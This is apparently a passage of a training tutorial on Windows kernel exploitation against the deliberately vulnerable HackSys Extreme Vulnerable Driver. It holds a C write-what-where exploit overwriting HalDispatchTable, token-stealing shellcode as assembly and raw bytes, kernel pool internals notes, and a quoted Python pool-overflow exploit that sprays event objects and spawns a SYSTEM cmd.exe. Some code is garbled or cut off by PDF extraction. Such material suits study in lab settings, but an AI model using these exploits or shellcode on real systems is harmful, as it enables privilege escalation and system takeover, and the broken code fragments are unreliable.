} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;<br />
www.hacking-training.com 22
typedef enum {<br />
SystemBasicInformation,<br />
SystemProcessorInformation,<br />
SystemPerformanceInformation,<br />
SystemTimeOfDayInformation,<br />
SystemPathInformation,<br />
SystemProcessInformation,<br />
SystemCallCountInformation,<br />
SystemDeviceInformation,<br />
SystemProcessorPerformanceInformation,<br />
SystemFlagsInformation,<br />
SystemCallTimeInformation,<br />
SystemModuleInformation<br />
} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;<br />
typedef struct<br />
{<br />
PVOID Reserved1;<br />
PVOID Reserved2;<br />
PVOID Base;<br />
ULONG ImageSize;<br />
ULONG Flags;<br />
WORD Id;<br />
WORD Rank;<br />
WORD w018;<br />
WORD NameOffset;<br />
CHAR ImageName[256];<br />
} SYSTEM_MODULE, *PSYSTEM_MODULE;<br />
typedef struct<br />
{<br />
ULONG ModulesCount;<br />
SYSTEM_MODULE Modules[0];<br />
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;<br />
typedef NTSTATUS (WINAPI *NtQuerySystemInformation_t)(IN SYSTEM_INFORMATION_CLASS<br />
SystemInformationClass,<br />
OUT PVOID SystemInformation,<br />
IN ULONG SystemInformationLength,<br />
OUT PULONG ReturnLength);<br />
typedef NTSTATUS (WINAPI *NtQueryIntervalProfile_t)(IN ULONG ProfileSource,<br />
www.hacking-training.com 23
OUT PULONG Interval);<br />
int _tmain(int argc, _TCHAR* argv[])<br />
{<br />
DWORD lpBytesReturned;<br />
PVOID pMemoryAddress = NULL;<br />
PULONG lpInBuffer = NULL;<br />
LPCWSTR lpDeviceName = L"\\\\.\\HackSysExtremeVulnerableDriver";<br />
PWRITE_WHAT_WHERE WriteWhatWhere = NULL;<br />
PVOID HalDispatchTable = NULL;<br />
PVOID HalDispatchTable4 = NULL;<br />
HMODULE ntoskrnl = NULL;<br />
PVOID kernelBase = NULL;<br />
HMODULE ntdll = NULL;<br />
NtQuerySystemInformation_t NtQuerySystemInformation;<br />
NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;<br />
SIZE_T ReturnLength;<br />
PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;<br />
PCHAR KernelImage;<br />
PVOID KernelBaseAddressInKernelMode;<br />
HMODULE hKernelInUserMode = NULL;<br />
PVOID EopPayload = &TokenStealingShellcodeWin;<br />
NtQueryIntervalProfile_t NtQueryIntervalProfile;<br />
ULONG Interval = 0;<br />
printf("Getting device handle\n");<br />
HANDLE hDriver = CreateFile(lpDeviceName,<br />
GENERIC_READ | GENERIC_WRITE,<br />
FILE_SHARE_READ | FILE_SHARE_WRITE,<br />
NULL,<br />
OPEN_EXISTING,<br />
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,<br />
NULL);<br />
}<br />
if (hDriver == INVALID_HANDLE_VALUE) {<br />
printf("Failed to get device handle :( 0x%X\r\n", GetLastError());<br />
return 1;<br />
printf("Got the device Handle: 0x%X\r\n", hDriver);<br />
WriteWhatWhere = (PWRITE_WHAT_WHERE)HeapAlloc(<br />
GetProcessHeap(),<br />
www.hacking-training.com 24
HEAP_ZERO_MEMORY,<br />
sizeof(WRITE_WHAT_WHERE));<br />
//Start<br />
//Step 3<br />
ntdll = GetModuleHandleA("ntdll.dll");<br />
NtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(ntdll,<br />
"NtQuerySystemInformation");<br />
NtStatus = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &ReturnLength);<br />
pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(),<br />
HEAP_ZERO_MEMORY,<br />
ReturnLength);<br />
NtStatus = NtQuerySystemInformation(SystemModuleInformation,<br />
pSystemModuleInformation,<br />
ReturnLength,<br />
&ReturnLength);<br />
KernelBaseAddressInKernelMode = pSystemModuleInformation->Modules[0].Base;<br />
KernelImage = strrchr((PCHAR)(pSystemModuleInformation->Modules[0].ImageName), '\\') + 1;<br />
//Step 1 and 2<br />
printf("KernelImage: %s", KernelImage);<br />
hKernelInUserMode = LoadLibraryA(KernelImage);<br />
HalDispatchTable = (PVOID)GetProcAddress(hKernelInUserMode, "HalDispatchTable");<br />
//Step 4<br />
HalDispatchTable = (PVOID)((ULONG)HalDispatchTable - (ULONG)hKernelInUserMode);<br />
HalDispatchTable = (PVOID)((ULONG)HalDispatchTable +<br />
(ULONG)KernelBaseAddressInKernelMode);<br />
HeapFree(GetProcessHeap(), 0, (LPVOID)pSystemModuleInformation);<br />
FreeLibrary(ntdll);<br />
FreeLibrary(hKernelInUserMode);<br />
www.hacking-training.com 25
End<br />
HalDispatchTable4 = (PVOID)((ULONG)HalDispatchTable + sizeof(PVOID));<br />
WriteWhatWhere->What = (PULONG)&EopPayload;<br />
WriteWhatWhere->Where = (PULONG)HalDispatchTable4;<br />
printf("\t\t\t[+] WriteWhatWhere: 0x%p\n", WriteWhatWhere);<br />
printf("\t\t\t[+] WriteWhatWhere->What: 0x%p\n", WriteWhatWhere->What);<br />
printf("\t\t\t[+] WriteWhatWhere->Where: 0x%p\n", WriteWhatWhere->Where);<br />
printf("\t\t[+] EoP Payload: 0x%p\n", EopPayload);<br />
printf("Sending IOCTL request\r\n");<br />
DeviceIoControl(hDriver,<br />
HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE,<br />
(LPVOID)WriteWhatWhere,<br />
sizeof(WRITE_WHAT_WHERE),<br />
NULL,<br />
0,<br />
&lpBytesReturned,<br />
NULL);<br />
//Trigger the memory overwrite<br />
ntdll = LoadLibraryA("ntdll.dll");<br />
NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(ntdll,<br />
"NtQueryIntervalProfile");<br />
NtQueryIntervalProfile(0x1337, &Interval);<br />
HeapFree(GetProcessHeap(), 0, (LPVOID)WriteWhatWhere);<br />
system("cmd.exe");<br />
printf("IOCTL request completed!\r\n");<br />
}<br />
CloseHandle(hDriver);<br />
return 0;<br />
www.hacking-training.com 26
Step 1 and 2<br />
printf("KernelImage: %s", KernelImage);<br />
hKernelInUserMode = LoadLibraryA(KernelImage);<br />
Here We can see that the kernel image is loaded dynamically, infact in this case is ntkrnlpa.exe, different<br />
from ntoskrnl.exe.<br />
Here the final screenshot:<br />
www.hacking-training.com 27
Windows 7 32bit<br />
For debugging reason I decided to change VM for the Pool Exploitation. The Windbg !pool command is not<br />
supported in the Windows XP and thit restrict the debugging possibilities.<br />
Furthermore this time I’ll use a python exploit in order to simplify the script.<br />
Setting Up Lab<br />
Install Windows 7 32bit and enable the serial port on VMware.<br />
In order to start the debugging You also need to run the following command in a privileged cmd:<br />
bcdedit /debug ON<br />
bcdedit /dbgsettings SERIAL DEBUGPORT:2 BAUDRATE:115200<br />
Changing Token Stealing Payload<br />
Let’s start from the previous shellcode:<br />
VOID TokenStealingShellcodeWin() {<br />
__asm {<br />
pushad ;(1)<br />
mov eax, fs:[KTHREAD_OFFSET] ; (2)<br />
mov eax, [eax + EPROCESS_OFFSET]<br />
mov ecx, eax<br />
mov ebx, [eax + TOKEN_OFFSET]<br />
mov edx, SYSTEM_PID<br />
SearchSystemPID:<br />
mov eax, [eax + FLINK_OFFSET]<br />
sub eax, FLINK_OFFSET<br />
cmp[eax + PID_OFFSET], edx<br />
jne SearchSystemPID<br />
mov edx, [eax + TOKEN_OFFSET]<br />
mov[ecx + TOKEN_OFFSET], edx<br />
popad<br />
xor eax, eax<br />
www.hacking-training.com 28
}<br />
}<br />
add esp, 12<br />
pop ebp<br />
ret 8<br />
this time the offsets are:<br />
KTHREAD_OFFSET (0x124)<br />
EPROCESS_OFFSET (0x050)<br />
TOKEN_OFFSET (0x0f8)<br />
SYSTEM_PID (0x004)<br />
FLINK_OFFSET (0x0b8)<br />
PID_OFFSET (0x0b4)<br />
Let’s compile our shellcode for the python exploit, here the final shellcode:<br />
\x60\x31\xc0\x64\x8b\x80\x24\x01\x00\x00\x8b\x40\x50\x89\xc1\xba\x04\x00\x00\x00\x8b\x80<br />
\xb8\x00\x00\x00\x2d\xb8\x00\x00\x00\x39\x90\xb4\x00\x00\x00\x75\xed\x8b\x90\xf8\x00\x00<br />
\x00\x89\x91\xf8\x00\x00\x00\x61<br />
Kernel Pool Internals<br />
(From https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf and<br />
https://blogs.msdn.microsoft.com/ntdebugging/2013/06/14/understanding-pool-corruption-part-1-bufferoverflows/<br />
)<br />
“Pool is kernel mode memory used as a storage space for drivers. … Because many pool allocations are<br />
stored in the same page, it is critical that every driver only use the space they have allocated. If DriverA<br />
uses more space than it allocated they will write into the next driver’s space (DriverB) and corrupt DriverB’s<br />
data. “<br />
Every kernel pool requires a management structure that is the pool descriptor; this track the number of<br />
running allocations, pages in use and help the system to keep track of reusable pool chunks.<br />
typedef struct _POOL_DESCRIPTOR<br />
{<br />
/*0x000*/ enum _POOL_TYPE PoolType;<br />
union {<br />
/*0x004*/ struct _KGUARDED_MUTEX PagedLock;<br />
/*0x004*/ ULONG32 NonPagedLock;<br />
};<br />
www.hacking-training.com 29
*0x040*/ LONG32 RunningAllocs;<br />
/*0x044*/ LONG32 RunningDeAllocs;<br />
/*0x048*/ LONG32 TotalBigPages;<br />
/*0x04C*/ LONG32 ThreadsProcessingDeferrals;<br />
/*0x050*/ ULONG32 TotalBytes;<br />
/*0x054*/ UINT8 _PADDING0_[0x2C];<br />
/*0x080*/ ULONG32 PoolIndex;<br />
/*0x084*/ UINT8 _PADDING1_[0x3C];<br />
/*0x0C0*/ LONG32 TotalPages;<br />
/*0x0C4*/ UINT8 _PADDING2_[0x3C];<br />
/*0x100*/ VOID** PendingFrees;<br />
/*0x104*/ LONG32 PendingFreeDepth;<br />
/*0x108*/ UINT8 _PADDING3_[0x38];<br />
/*0x140*/ struct _LIST_ENTRY ListHeads[512];<br />
} POOL_DESCRIPTOR, *PPOOL_DESCRIPTOR;<br />
PendingFrees point to delayed free list, that is a singly-linked list of pool chunks waiting to be freed.<br />
ListHeads (or Free Lists) is an array of doubly-linked lists of free pool chunks of the same size.<br />
All pool chunks are preceded by the pool header.<br />
typedef struct _POOL_HEADER<br />
{<br />
union {<br />
struct {<br />
/*0x000*/ UINT16 PreviousSize : 9;<br />
/*0x000*/ UINT16 PoolIndex : 7;<br />
/*0x002*/ UINT16 BlockSize : 9;<br />
/*0x002*/ UINT16 PoolType : 7;<br />
};<br />
/*0x000*/ ULONG32 Ulong1;<br />
};<br />
union {<br />
/*0x004*/ ULONG32 PoolTag;<br />
struct {<br />
/*0x004*/ UINT16 AllocatorBackTraceIndex;<br />
/*0x006*/ UINT16 PoolTagHash;<br />
};<br />
};<br />
} POOL_HEADER, *PPOOL_HEADER;<br />
PoolIndex provides the index into the associated pool descriptor array.<br />
The kernel uses singly-linked lookaside lists for faster allocation and deallocation of small pool chunks.<br />
Instead the pool descriptor ListHeads maintains chunks less than a page.<br />
www.hacking-training.com 30
Kernel Pool Layout<br />
The OBJECT_HEADER contains and index into ObTypeIndexTable, that is an array of pointers to the<br />
different OBJECT_TYPE structures.<br />
www.hacking-training.com 31
In Windows XP:<br />
In Windows 7:<br />
www.hacking-training.com 32
In this case the offset to the OkayToCloseProcedure is 0x074<br />
“The important part here is the offset to the "OkayToCloseProcedure". If, when the handle to the object is<br />
released and the chunk is freed, this value is not null the kernel will jump to the address and execute<br />
whatever it finds there.”<br />
www.hacking-training.com 33
Pool Feng Shui<br />
The goal here is to place a desired object just behind the vulnerable buffer.<br />
www.hacking-training.com 34
Exploitation<br />
“The fragmented state of the kernel pool make the locality of allocations unpredictable, the attacker must<br />
first defragment the kernel pool using kernel objects or other controllable memory allocations.<br />
The goal in this respect is to allocate all the free chunks such that the pool allocator returns a fresh page.”<br />
So let’s start to reach this goal!<br />
As We can see from the driver source code the Pool size is as follow:<br />
#define POOL_BUFFER_SIZE 504<br />
504 + 8 (pool header) = 0x200<br />
As well explained in https://www.fuzzysecurity.com/tutorials/expDev/20.html<br />
there are some steps to follow:<br />
www.hacking-training.com 35
“We will (1) get the non-paged pool in a predictable state, (2) trigger a controlled pool overflow, (3) take<br />
advantage of pool internals to set a shellcode callback and (4) free the corrupted pool chunk to get code<br />
execution!”<br />
“Our target object has a size of 0x200 so we need to spray something with that size or with an object which<br />
can be multiplied to that size. Fortunately, event objects have a size of 0x40, which multiplied by 8 nicely<br />
comes out at 0x200.”<br />
Summing all the concepts introduced, first We need to defragment the NonPagedPool allocating Event<br />
Object. (1)<br />
Then We need to allocate others Event Object to get predictable allocations (2), next We create<br />
NonPagedPool holes (3), allocate a process null page (4), overwrite the OBJECT_HEADER.Type with the<br />
null page in the vulnerable pool (5) and craft the fake null page with our shellcode pointer! (6)<br />
So when We’ll trigger the overflow the pool will be created in a predictable location in order to overflow<br />
exactly his structure.<br />
So when We free the NonPagedPool the execution pass to the OkayToCloseProcedure with the pointer to<br />
our shellcode! And We reach ring0 code execution!<br />
Here the complete exploit written by @GradiusX: From( https://github.com/GradiusX/HEVD-Python-<br />
Solutions/tree/master/Win7%20x86 )<br />
import ctypes, os, struct, sys<br />
from ctypes import *<br />
from ctypes.wintypes import *<br />
ntdll = windll.ntdll<br />
kernel32 = windll.kernel32<br />
MEM_COMMIT = 0x00001000<br />
MEM_RESERVE = 0x00002000<br />
PAGE_EXECUTE_READWRITE = 0x00000040<br />
def heap_alloc_payload():<br />
token_stealing_shellcode = (<br />
#---[Setup]<br />
"\x60" # pushad<br />
"\x64\xA1\x24\x01\x00\x00" # mov eax, fs:[KTHREAD_OFFSET]<br />
"\x8B\x40\x50" # mov eax, [eax + EPROCESS_OFFSET]<br />
www.hacking-training.com 36
)<br />
"\x89\xC1" # mov ecx, eax (Current _EPROCESS structure)<br />
"\x8B\x98\xF8\x00\x00\x00" # mov ebx, [eax + TOKEN_OFFSET]<br />
#---[Copy System PID token]<br />
"\xBA\x04\x00\x00\x00" # mov edx, 4 (SYSTEM PID)<br />
"\x8B\x80\xB8\x00\x00\x00" # mov eax, [eax + FLINK_OFFSET] |<br />
"\x8B\x90\xF8\x00\x00\x00" # mov edx, [eax + TOKEN_OFFSET]<br />
"\x89\x91\xF8\x00\x00\x00" # mov [ecx + TOKEN_OFFSET], edx<br />
#---[Recover]<br />
"\x61" # popad<br />
"\xC2\x10\x00" # ret 10<br />
payload_address = id(token_stealing_shellcode) + 20<br />
print "[+] Payload address: 0x%X" % payload_address<br />
return payload_address<br />
event_object_array_1 = []<br />
event_object_array_2 = []<br />
def pool_feng_shui_with_event_objects():<br />
global event_object_array_1<br />
global event_object_array_2<br />
print "[+] Defragmenting heap"<br />
for x in range(10000):<br />
event_object_array_1.append(kernel32.CreateEventA(None, False, False, None))<br />
print "[+] Allocating Event Objects"<br />
for y in range(5000):<br />
event_object_array_2.append(kernel32.CreateEventA(None, False, False, None))<br />
print "[+] Freeing selected Event Objects"<br />
for x in range (0,5000,16):<br />
for y in range (8):<br />
kernel32.CloseHandle(event_object_array_2[ x + y ])<br />
def free_remaining_event_objects():<br />
global event_object_array_1<br />
global event_object_array_2<br />
print "[+] Freeing remaining Event Objects to trigger vuln .."<br />
for x in range(10000):<br />
kernel32.CloseHandle(event_object_array_1[x])<br />
www.hacking-training.com 37
for x in range (8,5000,16):<br />
for y in range (8):<br />
kernel32.CloseHandle(event_object_array_2[ x + y ])<br />
def NtAllocateVirtualMemory_shellcode_ptr():<br />
base_address = c_void_p(0x1)<br />
null_size = c_int(0x1000)<br />
nt_result = ntdll.NtAllocateVirtualMemory(kernel32.GetCurrentProcess(), byref(base_address), 0,<br />
byref(null_size), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)<br />
shellcode_ptr = heap_alloc_payload()<br />
csrc = create_string_buffer("\x00" * 0x70 + struct.pack("
print "[+] Triggering Pool Overflow"<br />
kernel32.DeviceIoControl(driver_handle, 0x22200F, evil_input_ptr, evil_size, None,<br />
0,byref(dwReturn), None)<br />
free_remaining_event_objects()<br />
print "[*] Enjoy Elevated Privs !\r\n"<br />
os.system('cmd.exe')<br />
def preamble():<br />
print "\r\n"<br />
print "HackSys Extreme Vulnerable Driver : Pool Overflow"<br />
print "Author: @GradiusX"<br />
print "References: AWE Kernel Exploitation"<br />
print " http://codemachine.com/article_objectheader.html"<br />
print " http://www.ivanlef0u.tuxfamily.org/?p=79"<br />
print "\r\n"<br />
if __name__ == '__main__':<br />
preamble()<br />
trigger_pool_overflow()<br />
And here the resulting privilege escalation:<br />
www.hacking-training.com 39